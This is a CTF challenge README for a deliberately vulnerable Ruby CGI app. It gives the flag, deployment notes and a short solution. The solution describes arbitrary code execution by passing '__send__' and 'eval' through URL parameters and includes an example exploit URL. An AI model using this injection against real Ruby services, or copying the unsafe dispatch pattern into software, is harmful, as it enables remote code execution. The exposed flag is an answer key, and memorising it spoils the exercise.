write-ups-challenges-2020-2021/ruby_challenge/README.md
2022-11-24 18:03:20 +01:00

773 B

== Title == 1999

== Description == What do you mean Google? It's 1999. Let's write CGI scripts.

== Flag == IGCTF{de056a6b-c4e2-4e21-8c2c-ccdac5340c6d}

== Files == No 🦂

== Deployment == A Dockerfile is included, you should set the PORT environment variable when running. Another possibility is to deploy to Scaleway serverless functions, where this variable is automatically set.

I already deployed it here: [https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/]

== Solution/Writeup == Solve the challenge by passing __send__ as method and eval/exec as first argument. The second argument can be any Ruby code you want.

Example solution URL: [https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/?method=send&args=eval&args=cgi.out{flag}]